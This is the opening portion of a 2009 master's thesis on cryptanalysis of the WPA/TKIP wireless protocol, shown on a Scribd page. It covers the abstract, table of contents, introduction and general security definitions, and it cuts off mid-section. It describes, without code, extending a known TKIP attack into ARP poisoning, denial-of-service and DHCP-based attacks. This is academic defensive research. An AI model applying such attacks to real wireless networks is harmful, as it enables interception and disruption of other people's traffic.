P. 1
Tkip Master

Tkip Master

|Views: 127|Likes:
Published by joenj

More info:

Published by: joenj on Dec 13, 2010
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

11/28/2012

pdf

text

original

Sections

  • 1.1 Motivation
  • 1.2 Related Work
  • 1.3 Problem Description and Goals
  • 1.4 Limitations
  • 1.5 Research Methodology
  • 1.6 Document Structure
  • 2.1 Security Principles
  • 2.1.1 General Principles
  • 2.1.2 Encryption techniques
  • 2.1.3 Authentication and Authorization
  • 2.1.4 Attacks
  • 2.2 IEEE 802.11 Wireless Networks
  • 2.2.1 General Description
  • 2.2.2 Structure of Wireless Networks
  • 2.2.3 History
  • 2.2.4 IEEE 802.11 Transmission Protocols Roundup
  • 2.3 Wireless Security
  • 2.3.1 IEEE 802.11 Security Protocols
  • 2.4 Wired Equivalent Privacy (WEP)
  • 2.4.1 History
  • 2.4.2 Protocol Overview
  • 2.4.3 Authentication
  • 2.4.4 Pseudorandom Number Generator - RC4
  • 2.4.5 Integrity Check Value - CRC-32
  • 2.4.6 Initialization Vector - IV
  • 2.4.7 Weaknesses of WEP
  • 2.5 Attacks on WEP
  • 2.5.1 The FMS Attack
  • 2.5.2 The KoreK Attack
  • 2.5.3 The PTW Attack
  • 2.5.4 Beck and Tews’ Improved Attack on RC4
  • 2.5.5 Chopchop Attack
  • 2.5.6 Fragmentation Attack
  • 2.6 Temporal Key Integrity Protocol (TKIP)
  • 2.6.1 History
  • 2.6.2 Protocol overview
  • 2.6.3 TKIP Encapsulation
  • 2.6.4 TKIP Decapsulation
  • 2.6.5 TKIP Packet Structure
  • 2.6.6 TKIP Sequence counter (TSC)
  • 2.6.7 Message Integrity Code (MIC)
  • 2.6.8 Temporal Key
  • 2.7 Counter Mode with CBC MAC Protocol (CCMP)
  • 2.8 Attacks on TKIP and CCMP
  • 2.9 IEEE 802.11e - QoS/WMM
  • 2.10 Address Resolution Protocol (ARP)
  • 2.10.1 Protocol Overview
  • 2.10.2 ARP Packet Structure
  • 2.10.3 Attacks on ARP
  • 2.11 Dynamic Host Configuration Protocol (DHCP)
  • 2.11.1 Overview
  • 2.11.2 DHCP Packet Structure
  • Beck and Tews’ Attack on TKIP
  • 3.1 Requirements
  • 3.1.1 QoS/WMM
  • 3.1.2 Key Renewal Interval
  • 3.2 The Attack in Details
  • 3.2.1 Client De-Authentication
  • 3.2.2 Modified Chopchop Attack
  • 3.2.3 Guessing The Remaining Bytes
  • 3.2.4 Reversing the MICHAEL Algorithm
  • 3.3 Limitations
  • 3.4 Application Areas
  • 3.4.1 ARP Poisoning
  • 3.4.2 Denial-of-Service
  • 3.5 Countermeasures
  • An Improved Attack on TKIP
  • 4.1 The DHCP ACK Message
  • 4.2 The Attack in Details
  • 4.3 Application Areas
  • 4.3.1 DHCP DNS Attack
  • 4.3.2 NAT Traversal Attack
  • Laboratory Environment
  • 5.1 Hardware
  • 5.1.1 Computers
  • 5.1.2 Access Point
  • 5.2 Software
  • 5.2.1 The Aircrack-ng Suite
  • 5.2.2 Wireshark
  • 5.2.3 Command Line Tools
  • Experiments
  • 6.1 Preparations for the Attacks
  • 6.2 Verification of the Original Implementation
  • 6.3 Modifying tkiptun-ng Into an ARP Poisoning
  • 6.4 Modifying tkiptun-ng Into a Cryptographic DoS
  • 6.5 Verification of the Improved Attack
  • 6.6 Experimentation With Other Systems
  • Results
  • 7.1 Verification of the Original Attack
  • 7.2 ARP Poisoning Attack
  • 7.3 A Cryptographic Denial-of-Service Attack
  • 7.4 Verification of the Improved Attack
  • 7.5 Results With Different Configurations
  • 7.5.1 The Original Tkiptun-ng Attack
  • 7.5.2 Access Points
  • 7.5.3 Injection on Different QoS Channels
  • 7.5.4 Forcing DHCP Renewal
  • 7.5.5 Predictability of DHCP Transaction IDs
  • 7.5.6 Summary of Experimentation With Other Systems
  • Discussion
  • 8.1 Application Areas
  • 8.1.1 The Original Attack
  • 8.1.2 The Improved Attack
  • 8.2 Real World Applicability
  • A.1 Denial-of-Service Attack
  • A.2 ARP Poisoning Attack
  • A.3 Improved Attack

June 2009

Stig Frode Mjølsnes, ITEM
Martin Eian, ITEM
Master of Science in Communication Technology
Submission date:
Supervisor:
Co-supervisor:
Norwegian University of Science and Technology
Department of Telematics
Cryptanalysis of IEEE 802.11i TKIP
Finn Michael Halvorsen
Olav Haugen
Problem Description
A new vulnerability in the Temporal Key Integrity Protocol (TKIP) defined in 802.11i [1] was
recently discovered and published in [2]. Verification and further analysis on this vulnerability is
needed.
The students will give a detailed explanation of the attack, followed by experimental verification via
various tools. The severeness of the attack and application areas should be discussed. If it is
possible and if time permits, the students will also look for other weaknesses in the TKIP protocol
that may lead to other attacks.
[1] http://standards.ieee.org/getieee802/download/802.11i-2004.pdf
[2] http://dl.aircrack-ng.org/breakingwepandwpa.pdf
Assignment given: 14. January 2009
Supervisor: Stig Frode Mjølsnes, ITEM
Abstract
The Temporal Key Integrity Protocol (TKIP) was created to fix the weak-
nesses of Wired Equivalent Privacy (WEP). Up until November 2008, TKIP
was believed to be a secure alternative to WEP, although some weak points
were known. In November 2008, the German researchers Martin Beck and
Erik Tews released a paper titled Practical Attacks Against WEP and WPA
[10]. This paper introduced the first practical cryptographic attack on TKIP.
This thesis continues the work of Beck and Tews, and presents an im-
proved attack as an advancement of their original attack. The thesis starts
by giving a comprehensive study of the current state of wireless network and
security protocols. Next, a detailed description of Beck and Tews’ attack will
be given. The main contribution in this thesis is an improvement of Beck
and Tews’ attack on TKIP. This improved attack is able to obtain more than
ten times the amount of keystream than the original attack, by exploiting
the fact that the Dynamic Host Configuration Protocol (DHCP) contains
large amounts of known plaintext. Additionally, the authors prove how it
is possible to modify the original attack on TKIP to be able to perform an
Address Resolution Protocol (ARP) poisoning attack and a cryptographic
Denial-of-Service (DoS) attack.
In addition to these theoretical results, the contributions made by the
authors were implemented as extensions to the source code provided by Beck
and Tews. Experimental verification of the attacks was also performed;
this included the original attack by Beck and Tews, as well as our own
contributions.
i
ii
Preface
This report is the final result of the Master’s Thesis in Information Security,
conducted in the 10th semester of the Master’s Programme in Communi-
cation Technology at The Norwegian University of Science and Technology,
NTNU. The assignment was given by Martin Eian at the Department of
Telematics, NTNU.
Conducting research on the cutting edge of information security has been
a challenging and demanding task. The authors were required to produce
new and novel enhancements to existing attacks. On the other hand, being
able to make new discoveries has been very motivating and exciting. Es-
pecially the use of practical experimentation made the research a fulfilling
experience.
We would like to thank our supervisor Martin Eian for his continuous
feedback and support. Additionally, we would also like to thank professor
Stig F. Mjølsnes and the Department of Telematics for giving us the oppor-
tunity to write this thesis. As a result of this thesis, a paper was submitted
to the NordSec Conference. We would like to thank Stig F. for the support
regarding the process of writing this paper.
Trondheim, June 2009
Finn Michael Halvorsen Olav Haugen
iii
iv
Acronyms
AES Advanced Encryption Standard
AP Access point
ARC4 Alleged RC4
BOOTP Bootstrap Protocol
BSSID Basic Service Set Identifier
BSS Basic Service Set
CCMP Counter Mode with Cipher Block Chaining Message
Authentication Code Protocol
CHADDR Client Hardware Address
CIADDR Client IP Address
CRC Cyclic Redundancy Check
DA Destination Address
DHCP Dynamic Host Configuration Protocol
DNS Domain Name System
DoS Denial-of-Service
DS Distribution System
EAPOL Extensible Authentication Protocol Over LAN
EAP Extensible Authentication Protocol
ESSID Extended Service Set Identifier
ESS Extended Service Set
FCS Frame Check Sequence
v
GIADDR Relay Agent IP Address
GPU Graphical Processing Unit
GUI Graphical User Interface
HLEN Hardware Length
HTYPE Hardware Type
IBSS Independent Basic Service Set
IEEE Institute of Electrical and Electronics Engineers
IP Internet Protocol
LAN Local Area Network
LLC Logical Link Control
LSB Least Significant Bit
MAC Media Access Control
MBZ Must Be Zero
MD5 Message Digest 5
MIC Message Integrity Code
MPDU MAC Protocol Data Unit
MSB Most Significant Bit
MSDU MAC Service Data Unit
MTU Maximum Transmission Unit
NAT Network Address Translation
NDP Neighbor Discovery Protocol
OP Operation
PMK Pairwise Master Key
PRGA Pseudo Random Generation Algorithm
PRNG Pseudo Random Number Generator
PTKSA Pairwise Transient Key Security Association
RC4-KSA RC4 Key Scheduling Algorithm
vi
RC4 Rivest Cipher 4
RFC Request For Comment
SA Source Address
SHA Secure Hash Algorithm
SIADDR Next Server IP Address
SNAME Server Host Name
SNAP Sub Network Access Protocol
SSID Service Set Identifier
STA Station
TA Transmitter Address or Transmitting Station Address
TCP Transmission Control Protocol
TID Traffic Identifier
TKIP Temporal Key Integrity Protocol
TK Temporal Key (Session Key)
TSC TKIP Sequence Counter
TTAK TKIP-mixed Transmit Address and Key
WEP Wired Equivalent Privacy
WLAN Wireless Local Area Network
WMM WiFi MultiMedia
WPA WiFi Protected Access
XID Transaction ID
XOR Exclusive-Or
YIADDR Your IP Address
vii
viii
Contents
Abstract i
Preface iii
Acronyms v
1 Introduction 1
1.1 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Problem Description and Goals . . . . . . . . . . . . . . . . . 2
1.4 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.5 Research Methodology . . . . . . . . . . . . . . . . . . . . . . 3
1.6 Document Structure . . . . . . . . . . . . . . . . . . . . . . . 4
2 Background 7
2.1 Security Principles . . . . . . . . . . . . . . . . . . . . . . . . 7
2.1.1 General Principles . . . . . . . . . . . . . . . . . . . . 7
2.1.2 Encryption techniques . . . . . . . . . . . . . . . . . . 9
2.1.3 Authentication and Authorization . . . . . . . . . . . 10
2.1.4 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.2 IEEE 802.11 Wireless Networks . . . . . . . . . . . . . . . . . 12
2.2.1 General Description . . . . . . . . . . . . . . . . . . . 12
2.2.2 Structure of Wireless Networks . . . . . . . . . . . . . 12
2.2.3 History . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.2.4 IEEE 802.11 Transmission Protocols Roundup . . . . 15
2.3 Wireless Security . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.3.1 IEEE 802.11 Security Protocols . . . . . . . . . . . . . 16
2.4 Wired Equivalent Privacy (WEP) . . . . . . . . . . . . . . . . 18
2.4.1 History . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.4.2 Protocol Overview . . . . . . . . . . . . . . . . . . . . 19
2.4.3 Authentication . . . . . . . . . . . . . . . . . . . . . . 21
ix
2.4.4 Pseudorandom Number Generator - RC4 . . . . . . . 22
2.4.5 Integrity Check Value - CRC-32 . . . . . . . . . . . . 24
2.4.6 Initialization Vector - IV . . . . . . . . . . . . . . . . . 25
2.4.7 Weaknesses of WEP . . . . . . . . . . . . . . . . . . . 26
2.5 Attacks on WEP . . . . . . . . . . . . . . . . . . . . . . . . . 29
2.5.1 The FMS Attack . . . . . . . . . . . . . . . . . . . . . 30
2.5.2 The KoreK Attack . . . . . . . . . . . . . . . . . . . . 30
2.5.3 The PTW Attack . . . . . . . . . . . . . . . . . . . . . 31
2.5.4 Beck and Tews’ Improved Attack on RC4 . . . . . . . 32
2.5.5 Chopchop Attack . . . . . . . . . . . . . . . . . . . . . 33
2.5.6 Fragmentation Attack . . . . . . . . . . . . . . . . . . 35
2.6 Temporal Key Integrity Protocol (TKIP) . . . . . . . . . . . 37
2.6.1 History . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2.6.2 Protocol overview . . . . . . . . . . . . . . . . . . . . 37
2.6.3 TKIP Encapsulation . . . . . . . . . . . . . . . . . . . 38
2.6.4 TKIP Decapsulation . . . . . . . . . . . . . . . . . . . 39
2.6.5 TKIP Packet Structure . . . . . . . . . . . . . . . . . 40
2.6.6 TKIP Sequence counter (TSC) . . . . . . . . . . . . . 41
2.6.7 Message Integrity Code (MIC) . . . . . . . . . . . . . 42
2.6.8 Temporal Key . . . . . . . . . . . . . . . . . . . . . . 45
2.7 Counter Mode with CBC MAC Protocol (CCMP) . . . . . . 47
2.8 Attacks on TKIP and CCMP . . . . . . . . . . . . . . . . . . 49
2.9 IEEE 802.11e - QoS/WMM . . . . . . . . . . . . . . . . . . . 50
2.10 Address Resolution Protocol (ARP) . . . . . . . . . . . . . . 51
2.10.1 Protocol Overview . . . . . . . . . . . . . . . . . . . . 51
2.10.2 ARP Packet Structure . . . . . . . . . . . . . . . . . . 52
2.10.3 Attacks on ARP . . . . . . . . . . . . . . . . . . . . . 53
2.11 Dynamic Host Configuration Protocol (DHCP) . . . . . . . . 54
2.11.1 Overview . . . . . . . . . . . . . . . . . . . . . . . . . 55
2.11.2 DHCP Packet Structure . . . . . . . . . . . . . . . . . 56
3 Beck and Tews’ Attack on TKIP 59
3.1 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
3.1.1 QoS/WMM . . . . . . . . . . . . . . . . . . . . . . . . 59
3.1.2 Key Renewal Interval . . . . . . . . . . . . . . . . . . 60
3.2 The Attack in Details . . . . . . . . . . . . . . . . . . . . . . 60
3.2.1 Client De-Authentication . . . . . . . . . . . . . . . . 62
3.2.2 Modified Chopchop Attack . . . . . . . . . . . . . . . 62
3.2.3 Guessing The Remaining Bytes . . . . . . . . . . . . . 63
3.2.4 Reversing the MICHAEL Algorithm . . . . . . . . . . 63
3.3 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.4 Application Areas . . . . . . . . . . . . . . . . . . . . . . . . 65
3.4.1 ARP Poisoning . . . . . . . . . . . . . . . . . . . . . . 66
3.4.2 Denial-of-Service . . . . . . . . . . . . . . . . . . . . . 66
x
3.5 Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . 66
4 An Improved Attack on TKIP 69
4.1 The DHCP ACK Message . . . . . . . . . . . . . . . . . . . . 69
4.2 The Attack in Details . . . . . . . . . . . . . . . . . . . . . . 70
4.3 Application Areas . . . . . . . . . . . . . . . . . . . . . . . . 73
4.3.1 DHCP DNS Attack . . . . . . . . . . . . . . . . . . . 73
4.3.2 NAT Traversal Attack . . . . . . . . . . . . . . . . . . 76
5 Laboratory Environment 77
5.1 Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
5.1.1 Computers . . . . . . . . . . . . . . . . . . . . . . . . 78
5.1.2 Access Point . . . . . . . . . . . . . . . . . . . . . . . 78
5.2 Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
5.2.1 The Aircrack-ng Suite . . . . . . . . . . . . . . . . . . 79
5.2.2 Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . 80
5.2.3 Command Line Tools . . . . . . . . . . . . . . . . . . 81
6 Experiments 83
6.1 Preparations for the Attacks . . . . . . . . . . . . . . . . . . . 83
6.2 Verification of the Original Implementation . . . . . . . . . . 84
6.3 Modifying tkiptun-ng Into an ARP Poisoning Attack . . . . . 85
6.4 Modifying tkiptun-ng Into a Cryptographic DoS Attack . . . 85
6.5 Verification of the Improved Attack . . . . . . . . . . . . . . . 86
6.6 Experimentation With Other Systems . . . . . . . . . . . . . 87
7 Results 89
7.1 Verification of the Original Attack . . . . . . . . . . . . . . . 89
7.2 ARP Poisoning Attack . . . . . . . . . . . . . . . . . . . . . . 91
7.3 A Cryptographic Denial-of-Service Attack . . . . . . . . . . . 92
7.4 Verification of the Improved Attack . . . . . . . . . . . . . . . 94
7.5 Results With Different Configurations . . . . . . . . . . . . . 96
7.5.1 The Original Tkiptun-ng Attack . . . . . . . . . . . . 96
7.5.2 Access Points . . . . . . . . . . . . . . . . . . . . . . . 97
7.5.3 Injection on Different QoS Channels . . . . . . . . . . 98
7.5.4 Forcing DHCP Renewal . . . . . . . . . . . . . . . . . 98
7.5.5 Predictability of DHCP Transaction IDs . . . . . . . . 98
7.5.6 Summary of Experimentation With Other Systems . . 98
8 Discussion 101
8.1 Application Areas . . . . . . . . . . . . . . . . . . . . . . . . 101
8.1.1 The Original Attack . . . . . . . . . . . . . . . . . . . 101
8.1.2 The Improved Attack . . . . . . . . . . . . . . . . . . 102
8.2 Real World Applicability . . . . . . . . . . . . . . . . . . . . . 103
xi
8.3 Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . 104
8.3.1 Negative Experiences . . . . . . . . . . . . . . . . . . . 104
8.3.2 Positive Experiences . . . . . . . . . . . . . . . . . . . 104
9 Further Work 105
9.1 Further Improvement of the Attack . . . . . . . . . . . . . . . 105
9.2 Obtaining Two-way keystream . . . . . . . . . . . . . . . . . 106
9.3 DHCP DNS Spoofing . . . . . . . . . . . . . . . . . . . . . . 106
9.4 Fragmentation Attack . . . . . . . . . . . . . . . . . . . . . . 107
9.5 Key Recovery Attack . . . . . . . . . . . . . . . . . . . . . . . 107
10 Conclusion 109
A Source Code 115
A.1 Denial-of-Service Attack . . . . . . . . . . . . . . . . . . . . . 115
A.2 ARP Poisoning Attack . . . . . . . . . . . . . . . . . . . . . . 118
A.3 Improved Attack . . . . . . . . . . . . . . . . . . . . . . . . . 119
B Attached CD-ROM/ZIP-file 133
xii
List of Figures
2.1 A typical infrastructure based wireless network . . . . . . . . 13
2.2 Wireless security timeline . . . . . . . . . . . . . . . . . . . . 17
2.3 Construction of expanded WEP MPDU . . . . . . . . . . . . 20
2.4 WEP encapsulation block diagram . . . . . . . . . . . . . . . 20
2.5 WEP decapsulation block diagram . . . . . . . . . . . . . . . 21
2.6 WEP encryption by XOR . . . . . . . . . . . . . . . . . . . . 21
2.7 Sequence diagram of Shared Key Authentication . . . . . . . 22
2.8 PTW attack recovers the key . . . . . . . . . . . . . . . . . . 32
2.9 Success rate of Beck and Tews’ new attack on WEP . . . . . 33
2.10 Illustration of the Chopchop attack . . . . . . . . . . . . . . . 34
2.11 Illustration of the fragmentation attack . . . . . . . . . . . . 36
2.12 TKIP encapsulation block diagram . . . . . . . . . . . . . . . 39
2.13 TKIP decapsulation block diagram . . . . . . . . . . . . . . . 40
2.14 Construction of expanded TKIP MPDU . . . . . . . . . . . . 41
2.15 Authenticator MIC countermeasures . . . . . . . . . . . . . . 44
2.16 The client is informed of the MIC countermeasures . . . . . . 44
2.17 Supplicant MIC countermeasures . . . . . . . . . . . . . . . . 45
2.18 TKIP Pairwise Key Hierarchy . . . . . . . . . . . . . . . . . . 46
2.19 TKIP Per-Packet Key Mixing . . . . . . . . . . . . . . . . . . 47
2.20 Expanded CCMP MPDU . . . . . . . . . . . . . . . . . . . . 48
2.21 Aircrack-ng successfully cracking a WPA PSK . . . . . . . . . 50
2.22 A wireless network with two stations . . . . . . . . . . . . . . 52
2.23 ARP poisoning attack . . . . . . . . . . . . . . . . . . . . . . 54
2.24 DHCP sequence diagram . . . . . . . . . . . . . . . . . . . . . 55
2.25 DHCP packet structure . . . . . . . . . . . . . . . . . . . . . 56
3.1 A flowchart of the attack on TKIP . . . . . . . . . . . . . . . 61
3.2 Tkiptun-ng successfully decrypts an ARP packet . . . . . . . 64
4.1 An encrypted DHCP ACK packet with 16 unknown bytes . . 70
4.2 A flowchart of our improved attack on TKIP . . . . . . . . . 72
xiii
4.3 A sequence diagram showing a DHCP DNS attack and the
message exchange after the occurrence of an IP conflict . . . 74
4.4 Flowchart showing a DHCP DNS attack . . . . . . . . . . . . 75
4.5 NAT traversal attack using TCP SYN packets . . . . . . . . . 76
5.1 Screenshot of Wireshark live capture . . . . . . . . . . . . . . 81
7.1 A successful completion of the original tkiptun-ng attack . . . 90
7.2 The STAs ARP Cache before poisoning attack . . . . . . . . 91
7.3 The STAs ARP Cache after poisoning attack . . . . . . . . . 92
7.4 The client is informed of the MIC countermeasures . . . . . . 93
7.5 Screenshot from the modified attack, showing a DHCP ACK
being successfully decrypted . . . . . . . . . . . . . . . . . . . 95
9.1 An illustration of the known and unknown values of the Tem-
poral Key Computation after the attack on TKIP has been
performed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
xiv
List of Tables
2.1 Different wireless protocols of 802.11 . . . . . . . . . . . . . . 15
2.2 ARP Packet Structure . . . . . . . . . . . . . . . . . . . . . . 53
5.1 Specifications of the victim’s computer . . . . . . . . . . . . . 78
5.2 Specifications of the attacker’s computer . . . . . . . . . . . . 78
5.3 Specifications of the access point . . . . . . . . . . . . . . . . 78
5.4 Tools of the Aircrack-ng Suite . . . . . . . . . . . . . . . . . . 80
6.1 The different STAs used for experimentation . . . . . . . . . 87
7.1 Summary of experimentation with different systems . . . . . 99
xv
xvi
List of Algorithms
1 RC4 state vector initialization . . . . . . . . . . . . . . . . . . 23
2 RC4 state vector initial permutation . . . . . . . . . . . . . . 23
3 RC4 S-Box stream generation . . . . . . . . . . . . . . . . . . 24
xvii
xviii Acronyms
Chapter 1
Introduction
Today, wireless networks are so widely deployed that they have become
almost ubiquitous. The convenience of installing a wireless network with-
out having to worry about cables overweigh the fact that wireless networks
also are prone to become a security risk if not properly configured. Wired
Equivalent Privacy (WEP) was developed in order to secure wireless net-
works and provide security equivalent to the one that could be expected
from a wired network. When WEP failed miserably [17, 29, 22, 33] to de-
liver the required security, the Temporal Key Integrity Protocol (TKIP) was
built around WEP to fix its flaws and provide backwards compatibility with
older equipment. Much resources and money were invested into upgrading
old WEP networks to TKIP.
1.1 Motivation
Until recently, TKIP has been considered to be a secure alternative to WEP.
Little previous work had been done until Martin Beck and Erik Tews [10],
in November 2008, explained in a paper how they had discovered an attack
against TKIP. Even though their attack proved to be limited, attacks like
these become opening doors for new possibilities for the security community
to discover new and more serious attacks. For this reason, a system with
only a small breach should at any cost be avoided and should be considered
broken.
Our motivation for this thesis is based on the fact that we believe this
is only the beginning in discovering weaknesses in TKIP. Wireless security
is an exciting field of study, and we aim to find more weaknesses and new
application areas of the attacks on TKIP. We hope that our work may con-
tribute to motivate people to migrate their wireless security protocols to the
more secure alternative CCMP. At the same time, we find this a golden op-
1
2 Introduction
portunity to learn more about network security, C programming, Linux and
all other competences that are needed to perform an in-depth cryptanalysis
of a security protocol.
1.2 Related Work
There has been little research previously regarding attacks on TKIP. One
subject has been apparent for a long time, namely the insecurity of the
Message Integrity Code (MIC) used in TKIP, which is based on the Michael
algorithm [18]. The fact that the MIC is reversible, has led to discussions on
the impact it will have on the security of TKIP. The designers of TKIP real-
ized this weakness and consequently implemented the MIC countermeasures.
Our work is primarily related to the work done by Beck and Tews [10, 32].
Their paper from November 2008 [10] describes how a modified version of
the Chopchop attack [21], can be executed on a Quality of Service (QoS) or
WiFi MultiMedia (WMM) enabled network to obtain keystream for com-
munication from the access point to a station. Their attack is, in contrast
to the previous attacks on WEP, not a key recovery attack. It enables an
attacker to inject packets into the network and may thus lead to attacks on
the different control protocols of the network.
In addition to the attacks of Beck and Tews, our work can also be related
to some of the previous attacks on the WEP protocol. The new attack on
TKIP is based on previous attacks on WEP such as the Chopchop attack by
KoreK [21]. KoreK discovered a way of obtaining keystream without ever
knowing the encryption key. A modified version of this attack is used to
attack TKIP. We also feel that it is relevant to relate to all previous attacks
on WEP [17, 29, 22, 33, 11], and view these in a evolutionary perspective
which have led to more and more sophisticated attacks on the wireless se-
curity protocols.
1.3 Problem Description and Goals
The goal for our research is to study the attack by Beck and Tews in detail
and look for new application areas. Additionally, we aim to enhance the
original attack by Beck and Tews, by looking for other weaknesses in both
the TKIP protocol itself, as well as other protocols that are used in wireless
networks. Hence, the objectives for this thesis can be summarized as follows:
• Give a detailed explanation of the attack on TKIP
• Present the theory and history of wireless security in detail
Limitations 3
• Verify the attack via various tools
• Look for application areas of the attack
• Seek out new weaknesses or enhancements to the attack
1.4 Limitations
Due to both limitations in time and resources this thesis will focus less on
the following:
• Statistical cryptanalysis of the underlying ciphers of the TKIP protocol
• Experimentation and verification with different combinations of hard-
ware and their success rates
• Provide generic code, we will focus on proof-of-concept
1.5 Research Methodology
A research methodology is the formal approach at which research is con-
ducted to achieve the end results. The way research is conducted varies
among different sciences. In computer science, a methodology often refers
to software development models such as eXtreme Programming, Agile de-
velopment, Waterfall, Scrum and more. Even though information security
can be considered a subset of computer science, the methodology is often
more theoretical.
Our work is classified as cryptanalysis. RFC4949 [27] defines cryptanal-
ysis as:
The mathematical science that deals with analysis of a crypto-
graphic system to gain knowledge needed to break or circumvent
the protection that the system is designed to provide.
However, this work will not focus on the mathematical science, since
much work regarding this have already been done. Examples are the Chop-
chop attack [21] and several statistical analysis on RC4 [20, 29, 22, 33, 10].
In our research, we will rather use the previous work as a basis for our fur-
ther cryptanalysis of TKIP, with special emphasis on network protocols.
Denning et al. [13] defines three paradigms used in the context of Com-
puter Science, theory, abstraction and design. However, relating our research
methodology to such formal paradigms seems unnecessary. Our research will
be divided in three. First we will perform a comprehensive study of the re-
lated theory. This will provide us with the required knowledge needed to
4 Introduction
continue with an in-depth analysis, experimentation and enhancement of the
previous work by Beck and Tews [10]. Next, we will use experimentation as
a tool of verifying the original attack on TKIP. Finally, our own contribu-
tions, comprising enhancements and modifications of the original attack on
TKIP, will be added.
This way of working could be considered an iterative method. Each new
idea will be depending on outcomes of previous experiments. In this way,
a chain of iterative events will eventually lead to the final result. When
working iteratively, the experiment, or the act of experimenting, is the most
essential tool. Rather than following a pre-defined procedure, the iterative
method uses experiments to dynamically obtain more knowledge and close
in on the result. This way of working is in direct contrast to what is called a
direct method, where a problem is solved with a finite sequence of operations
and the procedure is thus predictable.
1.6 Document Structure
This thesis is organized as follows:
Chapter 2: Background presents background theory related to this the-
sis. This chapter starts with some basic security principles. It then continues
by presenting wireless networks and wireless network security in detail, as
well as attacks on the various security protocols. The chapter finishes by
detailing some network protocols relevant to the work presented later in the
thesis.
Chapter 3: The Attack on TKIP details the attack published by Beck
and Tews in November 2008. This chapter also explains some limitations of
the attack, and countermeasures to prevent it.
Chapter 4: An Improved Attack on TKIP explains the details of an
improvement to Beck and Tews’ attack made by the authors. This chapter
also presents some application areas of this improved attack.
Chapter 5: Laboratory Environment presents the hardware and soft-
ware environment used in the experiments conducted throughout this thesis.
Chapter 6: Experiments describes the practical experimentation car-
ried out to verify the original attack and our improvements to it. This
chapter also describes our methodology.
Document Structure 5
Chapter 7: Results presents the findings from our experimentation and
research.
Chapter 8: Discussion evaluates the experimentation and results, and
discusses some lessons learned during the research.
Chapter 10: Conclusion summarizes the main findings of our research,
and concludes the thesis.
Chapter 9: Further Work presents some ideas for further work on the
topic.
Additionally, the following appendices are included:
Appendix A: Source Code lists the source code modifications made by
the authors to be able to perform various attacks on TKIP.
Appendix B: Attached CD-ROM/ZIP-file lists the contents of the
attached CD/ZIP-file.
6 Introduction
Chapter 2
Background
This chapter will cover the basic theory that will establish a fundament for
the rest of the work in this thesis. First, we will define some general security
principles. Next, we will give a basic introduction to wireless networking
and wireless security. For historical and evolutionary reasons, we will give
a detailed description of the protocols WEP and TKIP, and known attacks
on these. This chapter will also cover other protocols that we find essential
and relevant in order to understand the attack on TKIP.
2.1 Security Principles
Security, in this context Information Security, is increasingly becoming an
every-day issue. Computers and computer networks, especially the Internet,
have become a vital part of modern society, and hence the security of these
systems is very important. Aspects ranging from the privacy of users to
preserving important infrastructure and public services, are all relying on
the security of computer systems and networks.
2.1.1 General Principles
Posthumus et al. split information security into three main principles: Con-
fidentiality, Integrity and Availability [26]. These principles go beyond the
technical security implementations and include social and organizational as-
pects as well. This section will focus on the general technical principles of
security.
Confidentiality
RFC4949 [27] defines confidentiality as:
7
8 Background
The property that data is not disclosed to system entities unless
they have been authorized to know the data.
As an example, if a user logs into a computer system the password must be
kept secret to maintain confidentiality. This means that the password should
never be sent over a network in cleartext, but also that the user should
never store it unprotected or disclose it to other persons. Confidentiality
is technically achieved through the use of encryption, which is described in
Section 2.1.2. Another aspect of confidentiality when talking about networks
is traffic flow confidentiality, which is the protection of information that
could be derived from observing network traffic flow [28]. Confidentiality is
a key aspect in maintaining the privacy of users.
Integrity
Integrity is defined by Stallings [28] as:
The assurance that data received is exactly as sent by an autho-
rized entity. (i.e. contain no modification, insertion, deletion or
replay.)
Information integrity can be compromised both intentionally and uninten-
tionally. To detect modification of data, a Message Integrity Code (MIC)
1
is often computed of the data. Any modification of the data will result in a
different MIC, which will indicate that the data has been modified. There
are many different means of providing integrity, ranging from simple Cyclic
Redundancy Checks (CRC) to MICs based on advanced cryptographic hash
functions like MD5 or SHA. To be able to fully protect the integrity of the
data, the MIC and/or data need to be encrypted. Otherwise, an attacker
could simply modify the data and re-compute the MIC correspondingly. If
encryption is used, some form of shared secret is needed, i.e. a key.
Simple MICs can only detect minor modifications like for example trans-
mission errors and does not give protection against intentional tampering of
the data. Cryptographic hash functions are designed to detect any change
in the data, and it should be computationally infeasible to modify the data
without changing the hash value. It should also be impossible for an at-
tacker to replay, or retransmit, previously sent data without triggering some
form of replay protection scheme, this is most often achieved through the
use of sequence numbers and/or time stamps.
By using an integrity code that takes a secret key as input along with
the message, or by encrypting the integrity code, the authenticity of the
1
In the context of computer networks the term MIC is used instead of the more common
MAC (Message Authentication Code), to avoid confusion with MAC addresses.
Security Principles 9
message will also be protected. By using this method, the receiver cannot
only verify the integrity of the message, but also the authenticity of the
sender. I.e., only an entity that holds the secret key is able to construct a
valid code.
Availability
Availability is defined in RFC4949 [27] as:
The property of a system or a system resource being accessible,
or usable or operational upon demand, by an authorized system
entity, according to performance specifications for the system.
An information system needs to be accessible to its users when needed.
Otherwise it fails to meet its requirements. This property is especially im-
portant in computer networks and servers, which serve a large amount of
users and are a vital part of modern society, e.g. banking systems. The
largest intentional threat against availability is Denial-of-Service (DoS) at-
tacks. DoS attacks are typically executed by generating an excessive amount
of requests or traffic. This will make legitimate use of the service impossible.
Exploitation of protocol weaknesses could also compromise the availability
of a system. Availability is achieved through the use of physical redundancy
and safety, and proper management and control of system resources [28].
2.1.2 Encryption techniques
Encryption is one of the basic techniques in information security, and is
the main technique used to maintain confidentiality in communications. An
encryption scheme takes some plaintext and a key as input, and outputs a
